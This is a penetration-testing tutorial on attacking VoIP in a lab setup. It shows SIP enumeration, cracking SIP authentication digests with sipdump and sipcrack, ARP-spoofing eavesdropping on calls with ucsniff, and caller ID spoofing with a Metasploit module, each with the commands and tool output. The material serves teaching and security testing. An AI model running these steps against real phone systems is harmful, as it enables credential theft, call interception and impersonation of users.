Enumerating and Breaking VoIP

Introduction

Voice over Internet Protocol (VoIP) has seen rapid implementation over the past few years. Most of the organizations which have implemented VoIP are either unaware or ignore the security issues with VoIP and its implementation. Like every other network, a VoIP network is also susceptible to abuse. In this article, I would discuss about various enumeration techniques followed by demonstration of few VoIP attacks. I deliberately will not go to protocol level details as this article is aimed at Penetration Testers who want to get a taste of the basics first, though it is strongly encouraged to understand the protocols used in VoIP networks.

Possible attacks against VoIP

- Denial of Service (DoS) attacks
- Registration Manipulation and Hijacking
- Authentication attacks
- Caller ID spoofing
- Man-in-the-middle attacks
- VLAN Hopping
- Passive and Active Eavesdropping
- Spamming over Internet Telephony (SPIT)
- VoIP phishing (Vishing)

Lab Setup for VoIP Testing

For this article, I have used the following lab setup to demonstrate various security issues in VoIP.

- Trixboxⁱ (192.168.1.6) open source IP-PBX server
- Backtrack 4 R2 (192.168.1.4) Attacker machine
- ZoIPerⁱⁱ (192.168.1.3) Windows softphone (User A Victim)
- Linphoneⁱⁱⁱ (192.168.1.8) Windows softphone(User B Victim)

Our lab setup



Figure 1

Let's have a look at our lab setup above. It is a typical VoIP network setup in a small organization with a Router which allocates IP addresses to the devices, an IP-PBX system and users. Now, if User A wants to communicate with User B following would happen

- 1. User A's call will go to IP-PBX server for User A's authentication.
- 2. After successful authentication of User A, IP-PBX server checks the presence of the desired extension of User B. If extension exists, the call is forwarded to User B.
- 3. Based on the response from User B (i.e. call accept, reject etc.) IP-PBX server responds back to User A.
- 4. If everything is normal, then User A would start communicating with User B.

Now we have a clear picture of the communication let's move on to the fun part, attacking VoIP.

Enumeration

Enumeration is the key to every successful attack/penetration test as it provides the much needed details and overview of the setup, VoIP is not different. In VoIP network, information useful to us as an attacker is VoIP gateway/servers, IP-PBX systems, client software (softphones)/VoIP phones and user extensions. Let's have a look at some of the widely used tools for enumeration and fingerprinting. For the sake of demonstration, let's assume that we know the IP addresses of devices already [©]

• Smap

Smap^{iv} scans a single IP or subnet of IP addresses for SIP enabled devices. Let us use smap against the IP-PBX server. Figure 2 shows that we have successfully enumerated the server and User-Agent details are available.

```
root@bt:/pentest/voip/smap# ./smap -0 192.168.1.6
smap 0.6.0 <hs@123.org> http://www.wormulon.net/
192.168.1.6: ICMP reachable, SIP enabled
best guess (55% sure) fingerprint:
   Asterisk PBX (unknown version)
   User-Agent: Asterisk PBX 1.6.0.26-FONCORE-r78
1 host scanned, 1 ICMP reachable, 1 SIP enabled (100.0%)
```

Figure 2

• Svmap

Svmap is another powerful scanner from sipvicious^v suite of tools. We can set the type of request being sent while enumerating SIP devices using this tool. The default request type is OPTIONS. Let's run the tool on a pool of 20 devices (Figure 3). As we can see, svmap is able to detect IP-addresses and their User-Agent details.

root@bt:/pentest/voip/sipvicious# ./svmap.py 192.168.1.1	-20	
WARNING:DrinkOrSip:could not bind to 0.0.0.0:5060 - some	process might	already b
e listening on this port. Listening on port 5061 instead		
SIP Device User Agent	Fingerprint	
192.168.1.6:5060 ASTERISK PBX 1.6.0.26-FUNCORE-F/8	disabled	
192.168.1.4:5060 Zoiper rev.11619	disabled	

Figure 3

• Swar

During VoIP enumeration, extension enumeration is important to identify the live SIP extensions. Swar^{vi} aides in scanning complete range of IP addresses. Figure 4 shows a scan for user extensions from 200 to 300. The result is user extensions which were registered with IP-PBX server.

r) 	oot@bt:/per Extension	it.	est/voip/: Authenti	sipvicious# cation	./svwar.py	-e200-300	192.168.1.6	-m	INVITE
	200 202 204 206	 	reqauth reqauth reqauth reqauth reqauth	 					

Figure 4

So we had a look at enumerating VoIP setup and got some interesting details. Now let's use these details to attack the setup.

Attacking VoIP

As already discussed, VoIP network is prone to a number of security threats and attacks. For this article, we will have a look at three critical VoIP attacks which could target the integrity and confidentiality of the VoIP infrastructure.

The following attacks are demonstrated in the coming sections:

- 1. Attacking VoIP authentication
- 2. Eavesdropping via ARP spoofing
- 3. Caller ID impersonation

1. Attacking VoIP authentication

When a new or existing VoIP phone is connected to the network, it sends a REGISTER request to the IP-PBX server for registering the associated user ID/extension number. This register requests contains important details (like user information, authentication data etc.) which could be much of an interest of an attacker or a penetration tester. Figure 5 shows the packet capture of SIP authentication request. This packet capture contains very juicy information. Let's use the information from the packet capture to for executing the authentication attack.

Attack demonstration Attack Scenario



Figure 6

Step1: For the purpose of demonstration, let us assume that we have physical access to VoIP network. Now, using the tools and techniques described in previous sections of this article we will perform the scanning and enumeration to obtain the following details:

- IP address of SIP server
- Existing user Ids/extensions

Good, now we will start scanning the VoIP IP addresses to capture registration requests.

Step2: Using wireshark^{vii} let us capture some register requests. We will save it to a file named auth.pcap. Figure 6 shows the wireshark capture file (auth.pcap)

📶 Intel(R) Centrino(I	R) Advanced-N	6200 AGN (Microsoft's Packet Se	heduler) : Capturing - W	ireshark	
Ele Edit View Go	Capture Analyz	e Statistics Telephony Tools Help			
				역, 🖭 🎬 🗹 ங % 🔛	
Fijter: (ip.addr eq 192.16	58.1.3 and ip.addr	eq 192.168.1.6) and (udp.port eq 5060	▼ Expression Clear Appl	у	
No Time	Source	Destination	Protocol	Info	<u>~</u>
134 58.891728	192.168.1.3	192.168.1.6	SIP	Request: SUBSCRIBE s1p:2000192.168.1.6;transport=UDP	
135 58.891855	192.168.1.	192.168.1.6	SIP	Request: REGISTER SID:192.168.1.6; transport=UDP	
137 58,896317	192.168.1.0	5 192.168.1.3	SIP	Status: 401 Unauthorized (0 bindings)	
138 58.896358	192.168.1.3	3 192.168.1.6	SIP	Request: SUBSCRIBE sip:2000192.168.1.6;transport=UDP	
139 58.897367	192.168.1.3	192.168.1.6	SIP	Request: REGISTER s1p:192.168.1.6;transport-UDP	
141 58 916469	192.168.1.0	5 192.108.1.3	STP		d0435faf2b732:transport=UDR
142 58,916970	192.168.1.0	192.168.1.3	SIP	Status: 200 ok (1 bindings)	deve of a reprine per anopor encour
143 58.917537	192.168.1.	100.100.1.2			
144 59.020456	192.168.1.	C Follow UDP Stream			
146 59 026155	192.168.1	Stream Content			
147 59.029369	192.168.1	perer regence compensations			
148 59.029884	192.168.1.	Event: message-summary	la more 7		<u> </u>
149 59.031819	192.168.1.	content-Length: 0	is part i		
1 150 59.287137	192.168.1.				×
181		REGISTER s1p:192.168.1.0	transport_UDP_SIP/		
) bytes on	Max-Forwards: 70		124 DK-087 34 2-684 9068301 3TECC8-T087 34 5-	
Ethernet II, S	Snc: Inteld	Contact: <\$1p;2000192.10	8.1.3:5060;r1nstanc	e=e73d0435faf2b732;transport=UDP>	
Internet Proto	ocol, src:	To: "Soh11" <s1p:2006192.< td=""><td>168.1.6;transport-U</td><td>DP></td><td></td></s1p:2006192.<>	168.1.6;transport-U	DP>	
📧 User Datagram	Protocol,	Call-ID: NWN1NGUSNDOWNTE	12Tow2DM4NG212TYOY2	ab2Gy 22mM.	
session Initia	ation Prote	CSeg: 1 REGISTER			
		Expires: 3600		TER MESSAGE OPTIONS INFO SUBSCRIPE	
		Supported: replaces, por	efersub, extended-r	efer, X-cisco-serviceuri	
		User-Agent: Zolper rev.1	1137		
0000 00 10 53 1	0 8	Allow-Events: presence,	k pm 1		
0010 03 58 d3 5		concenc-cengers o			
0020 01 06 13 0	4 13 c4 03	SIP/2.0_401_Unauthor1zed			
0030 45 52 20 Z	3 69 70 3a	Via: SIP/2.0/UDP 192.168	.1.3:5060;branch=29	hG4bK-d8754z-81ff902d9983clc2-1	~
0040 28 36 30 7	4 72 61 68 0 2f 32 2e				
0060 49 50 27 3	2 2e 30 2f	Eind Save As Print Entire converse	tion (22334 bytes)	ASCII O EBCDIC O Hex Dump O C Arrays	• Raw
0020 36 38 26 3	1 28 33 34				
0090 7a 2d 38 6	a 37 08 47 5 34 31 31	Help		Filter Out This Stream Close	
0040 63 66 2d 3	1 20 20 20				
0000 4d 61 78 2	d 46 6F 72		Contac ti cet		
00d0 32 30 30 4	0 31 39 32	2e 31 36 38 2e 31 2e 33	a 2000192, 168,1.		
00e0 35 30 36 3	0 3b 72 69	6e 73 74 61 6e 63 65 3d	5 5060;rin stance		~
Intel(R) Centrino(R) Ad	Ivanced-N 6200 AG	N (Mic Packets: 339 Displayed: 49 Ma	rked: 0		Profile: Default

Figure 7

Step3: Now we will use sipcrack suite^{viii}. The suite of tools is available in Backtrack under **/pentest/VoIP** directory. Figure 7 shows the tools from sipcrack suite of tools.

root@bt:/p	entest/voip/	sipcrack# ls			
BUGS	README	USAGE_EXAMPLES	debug.h	md5.h	wrap.c
CHANGELOG	SIPcrack.c	au.txt	debug.o	siperack	wrap.h
LICENSE	SIPdump.c	auth.pcap	global.h	sipdump	wrap.o
Makefile	TODO	debug.c	md5.c	wordlist.tx	t
Figure 8					

Step4: Using sipdump tool, let's dump the authentication data to a file and name it auth.txt. Figure 8 shows the wireshark capture file containing authentication data for User 200.

root@bt:/pentest/voip/sipcrack# ./sipdump auth.txt -p auth.pcap
SIPdump 0.3 (MaJoMu www.codito.de)
* Using pcap file 'auth.pcap' for sniffing * Starting to sniff with packet filter 'tcp or udp or vlan'
* Dumped login from 192.168.1.6 -> 192.168.1.3 (User: '200') * Dumped login from 192.168.1.6 -> 192.168.1.3 (User: '200') * Dumped login from 192.168.1.6 -> 192.168.1.3 (User: '200')
* Exiting, sniffed 3 logins Figure 9

Step5: This authentication data includes user ID, SIP extension, password hash (MD5) and victim's IP address. We will now use sipcrack tool to crack the authentication hashes using a custom word list to guess the hashes. Figure 9 shows a custom word list named as wordlist.txt which will be used for cracking the authentication hashes. We will store the results from this activity in file named auth.txt

```
root@bt:/pentest/voip/sipcrack# ./sipcrack auth.txt -w wordlist.txt
SIPcrack 0.3 ( MaJoMu | www.codito.de )
* Found Accounts:
Num
       Server
                       Client
                                       User
                                               Hash|Password
        192.168.1.3
                      192.168.1.6
                                       200
                                               27667853024b323650a7279b317fa2f7
        192.168.1.3
                       192.168.1.6
                                       200
                                               82ac52c2ec644174da2d60bbcbd81040
        192.168.1.3
                       192.168.1.6
                                       200
                                               e54b72f8711a88f8b6173a0b2cf0c1f4
 Select which entry to crack (1 - 3): 1
 Generating static MD5 hash... cae543b23683144d2ebb6cd7a8610cdb
 Starting bruteforce against user '200' (MD5: '27667853024b323650a7279b317fa2f7
 Loaded wordlist: 'wordlist.txt'
 Starting bruteforce against user '200' (MD5: '27667853024b323650a7279b317fa2f7
 Tried 48 passwords in O seconds
 Found password: '200'
 Updating dump file 'auth.txt'... done
```

```
Figure 10
```

Step6: Neat, we have passwords for the extensions now^③. We can use this information by reregistering to IP-PBX server from our own SIP phone. This will allow us to perform these activities:

- Impersonate legitimate user and call other users.
- Sniff or manipulate legitimate calls, originating from and coming to the victim's extension (User A in this case).

2. Eavesdropping via Arp spoofing

All network hardware devices have a unique MAC address. Like all network devices, VoIP phones are also vulnerable to MAC/ARP spoofing attacks. For this section, we will look at sniffing active voice calls by eavesdropping and recording live VoIP conversation.

Attack Demonstration





Figure 11

Step1: For the purpose of demonstration, let's assume that we have identified victim's IP address using the techniques described earlier. Then, using ucsniff^{ix} an ARP poisoning tool, we will spoof the victim's MAC address.

Step2: It is important to identify the MAC address of the target which is required to be poisoned. Although, above mentioned tools have the capability to identify MAC automatically, it is always a good practice to identify MAC separately too. Let's use nmap^x for that. Figure 11 shows an nmap scan against the victim's IP address and its MAC address.

Step3: Now we have MAC address of the victim, let us use ucsniff to spoof victim's MAC address. ucsniff tool has various modes for spoofing (i.e. Monitor mode, learning mode and MiTM mode). Let's use MiTM mode by specifying victim's IP address and SIP extension in a file named targets.txt. This mode ensures that only calls (to and fro) to victim (User A) are eavesdropped without affecting other traffic in the network. Figure 12 and figure 13 show that ucsniff has poisoned victim's (User A) MAC address.



Figure 13



Figure 14

Step4: We have successfully spoofed the Victim's MAC address and are ready to sniff calls to and from User A's VoIP phone.

Step5: Now, when user B calls User A and starts their conversation and ucsniff records their conversation. When the call is finished, ucsniff stores all the recorded conversation in a wav file. Figure 14, shows ucsniff has detected a new call to extension 200 from extension 202.



Figure 15

Step6: When we are done, we would run ucnisff again with –q option to stop spoofing the MAC of the system to ensure that everything remains fine after our attack.

Step7: The saved sound file could be played using well known audio players (like windows media player etc.)

3. Caller ID spoofing

This is one of the easiest attacks on VoIP networks. Caller ID spoofing creates a scenario where an unknown user may impersonate a legitimate user to call other legitimate users on VoIP network. Slight changes in INVITE request would result in this attack. There are numerous ways to craft a malformed SIP INVITE messages (e.g. scapy, SIPp etc.). For demonstration, let's use metasploit's^{xi} auxiliary module named sip_invite_spoof.

Attacker uses spoofed caller ID of User B to call user A Attacker 2 Juser A 1 Figure 16

Attack Scenario

Step1: Let's start our metasploit and load voip/sip_invite_spoof auxiliary module.

Step2: Next, we will configure the option **MSG to User B**. This enables us to impersonate as User B. Also, configure the User A's IP address in the option **RHOSTS**. After configuring the module, let's run the auxiliary module. Figure 17 shows all the configuration setting.

```
exploit(handler) > use auxiliary/voip/sip_invite spoof
msí
msí
    auxiliary(sip_invite_spoof) > set MSG User B
MSG => User B
msf auxiliary(sip_invite_spoof) > show options
Module options (auxiliary/voip/sip_invite_spoof):
   Name
            Current Setting Required Description
   MSG
            User B
                                       The spoofed caller id to send
                             yes
   RHOSTS
            192.168.1.8
                                       The target address range or CIDR identifier
                             yes
   RPORT
            5060
                                       The target port
                             ves
   SRCADDR
            192.168.1.100
                                       The sip address the spoofed call is coming from
                             yes
   THREADS
                                       The number of concurrent threads
                             yes
msf auxiliary(sip_invite_spoof) > run
 *] Sending Fake SIP Invite to: 192.168.1.8
    Scanned 1 of 1 hosts (100% complete)
    Auxiliary module execution completed
```

Figure 17

Step3: Auxiliary module will send a spoofed invite request to the victim (User A). Victim will receive a call from my VoIP phone and answers the call with an impression that he is talking to User B. Figure 18 shows the VoIP phone of victim (User A) who is receiving a call from User B (spoofed by me).

Codec: Unknown Account :- State : Ringing Call duration : 00:00:42 CollPER Phone to dial Caller USER B Accept Reject USER B Account USER A (Registered) (SIP) Unregister	Current call Line 1 is speaking to : USER B
ZoIPER Phone to dial Phone to dial Caller USER B Accept Reject Ignore Account User A (Registered) (SIP) Unregister	Codec : Unknown Type : SIP Account : - State : Ringing Call duration : 00:00:42
Phone to dial	JoiPer 8
ZOIPER Incoming call Caller USER B Accept Reject Ignore Account User A (Registered) (SIP) Unregister	Phone to dial
Coller USER B Accept Reject Ignore Account User A (Registered) (SIP) • Unregister	
USER B Accept Reject Ignore Account User A (Registered) (SIP) V Unregister	Caller
Accept Reject Ignore Account User A (Registered) (SIP) • Unregister	USER B
Account User A (Registered) (SIP)	Accept Reject Ignore
Account User A (Registered) (SIP) Unregister	· · · · · · · · · · · · · · · · · · ·
User A (negistered) (SIP)	Account
	Oser A (Registered) (SIP)

Figure 18

Step4: Now, User A considers it as legitimate call from User B. User A will start communicating with User B.

Conclusion

Number of security threats exist related to VoIP. Using enumeration, crucial information regarding VoIP network, user Ids/extensions, phone types etc can be obtained. With use of specific tools, it is possible to attack authentication, hijack VoIP calls, eavesdrop, and call manipulation, VoIP spamming, VoIP phishing and IP-PBX server compromise.

I hope that the article was enough informative to highlight the security issues in VoIP. I would request readers to note that this article does not discuss all available VoIP tools and techniques for VoIP enumeration and penetration testing.

About Author

Sohil Garg is a penetration tester at PwC. His areas of interest include working on new attack vectors and penetration testing of secure environments. He is involved in various application security assessments. He has spoken at CERT-In on VoIP Security issues which were attended by high rank government and defence personnel. He recently discovered privilege escalation and direct object access vulnerability in product of a major company.

References

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- "http://www.zoiper.com/
- http://www.linphone.org/

- iv http://www.linphone.org/
 iv http://www.wormulon.net/files/pub/smap-blackhat.tar.gz
 v http://code.google.com/p/sipvicious/
 vii http://code.google.com/p/sipvicious/
 vii http://code.google.com/p/sipvicious/
 viii http://www.wireshark.org/
 viii You can find this tool in Backtrack 5 at /pentest/voip/sipcrack/

- ix <u>http://ucsniff.sourceforge.net/</u>
 x <u>http://nmap.org/download.html</u>
 xi <u>http://metasploit.com/download/</u>

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